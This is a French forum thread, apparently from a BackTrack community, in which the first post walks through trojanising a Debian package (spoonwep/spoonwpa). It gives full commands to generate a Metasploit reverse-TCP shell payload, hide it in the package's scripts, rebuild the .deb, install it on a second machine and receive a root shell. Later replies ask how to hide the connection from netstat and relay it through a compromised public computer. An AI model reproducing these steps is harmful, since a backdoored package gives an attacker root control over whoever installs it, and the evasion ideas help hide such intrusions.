|
||||
|
Nous allons voir ici comment décompiler une archive.deb, la modifier (y ajouter une backdoor) et la recompiler. Pour faire simple on va générer un reverse shell avec Metasploit que l'on va inclure dans notre archive. On y cherchera un script et on le modifiera de facon à ce qu'il exécute notre backdoor. On prendra comme exemple l'archive de spoowep postée dans le forum spoonwep2 et spoonwpa sur BT4.
Commencons par créer un répertoire de travail Code:
mkdir build cd build Code:
root@BT4-Nag:~/build# dpkg -x spoonwep-wpa-rc3.deb arbeit Code:
root@BT4-Nag:~/build# ls arbeit/usr/local/bin/wifispoonfeeder/spoonwep/lib/ arp.sh chop.sh frag.sh javacsv.jar p0841.sh sniff.sh root@BT4-Nag:~/build/arbeit/usr/local/bin/wifispoonfeeder/spoonwpa/lib# ls javacsv.jar sniff.sh wordlist.txt Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload |grep Usage
Usage: ./msfpayload <payload> |var=val| <|S|ummary|C||P|erl|Rub|y|||R|aw||J|avascript|e|X|ecutable||V|BA>
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload |grep reverse_tcp |grep linux
linux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/adduser/reverse_tcp Connect back to the attacker, Create a new user with UID 0
linux/x86/chmod/reverse_tcp Connect back to the attacker, Runs chmod on specified file with specified mode
linux/x86/exec/reverse_tcp Connect back to the attacker, Execute an arbitrary command
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/shell/reverse_tcp Connect back to the attacker, Spawn a command shell
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell
Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 X > /root/build/sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib/dsniff.sh Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell/reverse_tcp Length: 50 Options: LHOST=192.168.1.34,LPORT=1234 root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 X > /root/build/sploit/usr/local/bin/wifispoonfeeder/spoonwpa/lib/dsniff.sh Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell/reverse_tcp Length: 50 Options: LHOST=192.168.1.34,LPORT=1234 Code:
root@BT4-Nag:~/build/sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib# chmod +x dsniff.sh Code:
root@BT4-Nag:~/build# cat sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib/sniff.sh ../lib/./dsniff.sh Debian Policy Manual - Control files and their fields Code:
root@BT4-Nag:~/build# pwd /root/build mkdir arbeit/DEBIAN voila il ne nous reste plus qu'à compiler notre package Code:
root@BT4-Nag:~/build# dpkg-deb --build arbeit dpkg-deb: building package `spoonwep-spoonwpa-modified' in `arbeit.deb'. Pour le test j'ai installé mon archive sur un BT4PF en live sur un autre notebook. Code:
root@bt:~# wget http://192.168.1.34/arbeit.deb
--2009-09-19 13:46:16-- http://192.168.1.34/arbeit.deb
Connecting to 192.168.1.34:80... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: `arbeit.deb'
| <=> | 7,368,776 5.86M/s in 1.2s
2009-09-19 13:46:17 (5.86 MB/s) - `arbeit.deb' saved |7368776|
root@bt:~# dpkg -i arbeit.deb
Selecting previously deselected package spoonwep-spoonwpa-modified.
(Reading database ... 183077 files and directories currently installed.)
Unpacking spoonwep-spoonwpa-modified (from arbeit.deb) ...
Setting up spoonwep-spoonwpa-modified (BT3) ...
et attendre une connexion.Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 E
|*| Please wait while we load the module tree...
|*| Handler binding to LHOST 0.0.0.0
|*| Started reverse handler
|*| Starting the payload handler...
|*| Sending stage (36 bytes)
|*| Command shell session 1 opened (192.168.1.34:1234 -> 192.168.1.37:33568)
id
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:00:00:00
inet addr:192.168.1.37 Bcast:255.255.255.255 Mask:255.255.255.0
....
Avant Code:
root@BT4-Nag:~/build# netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8333 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8307 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8222 0.0.0.0:* LISTEN tcp6 0 0 127.0.0.1:8005 :::* LISTEN tcp6 0 0 :::8009 :::* LISTEN tcp6 0 0 :::8308 :::* LISTEN Code:
root@BT4-Nag:~/build# netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8333 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8307 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:8222 0.0.0.0:* LISTEN tcp 0 0 192.168.1.37:45816 192.168.1.34:1234 ESTABLISHED tcp6 0 0 127.0.0.1:8005 :::* LISTEN tcp6 0 0 :::8009 :::* LISTEN tcp6 0 0 :::8308 :::* LISTEN
__________________
http://backtrack-fr.net Last edited by Nagual; 09-20-2009 at 07:27 PM. |
|
|||
|
Impressionnant, faut y penser quand même.
Le seul truc c'est que le méchant black hat hacker peut difficilement rester en écoute 24/24H en attente d'une connexion si diffusé sur le net, aléatoire qui plus est. D'autant plus que le défaut du reverse shell c'est de donner son adresse ip en cadeau d'arrivé. C'est pas si différent des scripts kiddies windowsiens qui balance leurs serveurs prorat à leurs connaissances via msn. |
|
||||
|
Après tu peux mettre ce que tu veux dans ton archinve hein
, qui plus est pour cet exemple c'est spécifié de lancer spoonwep en root. La seule limite est ton imagination.
__________________
http://backtrack-fr.net |
|
|||
|
C'est vrai aussi
Même si c'est un autre sujet, y a moyen de faire usage d'un reverse shell de façon "discrete" ?Edit : Pour préciser ma question je me demandais si il existe un payload capable de masquer la connexion entre le client et le serveur, histoire qu'il en faille un peu plus qu'un simple netstat pour se rendre compte d'une activité suspecte. Même si techniquement parlant j'ai dut mal à imaginer comment ça pourrai se faire. Je suppose que l'idée d'une connexion discontinu est impossible dans le cas d'un reverse shell puisque la cible y est le client... Même si la question à pas vraiment lieu de se pauser, techniquement ça peut être intéressant. Edit 2 : J'ai bien réfléchi et j'ai pensé à la chose suivante, dans le cas bien sur d'un méchant hacker sanguinaire : - Prise de contrôle d'un pc à usage publique (ou autres) - Création du payload avec l'ip HOST du pc contrôlé - On lance le payload sur le pc cible via le pc publique (meterpreter doit bien savoir aider) -> Reverse shell sur le pc publique - On renvoi le tout par tunneling Réalisable ou non ? J'ai aucune envie de faire usage de ce genre de procédé mais jsuis du genre curieux Last edited by Bjnnn; 09-23-2009 at 08:18 PM. |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|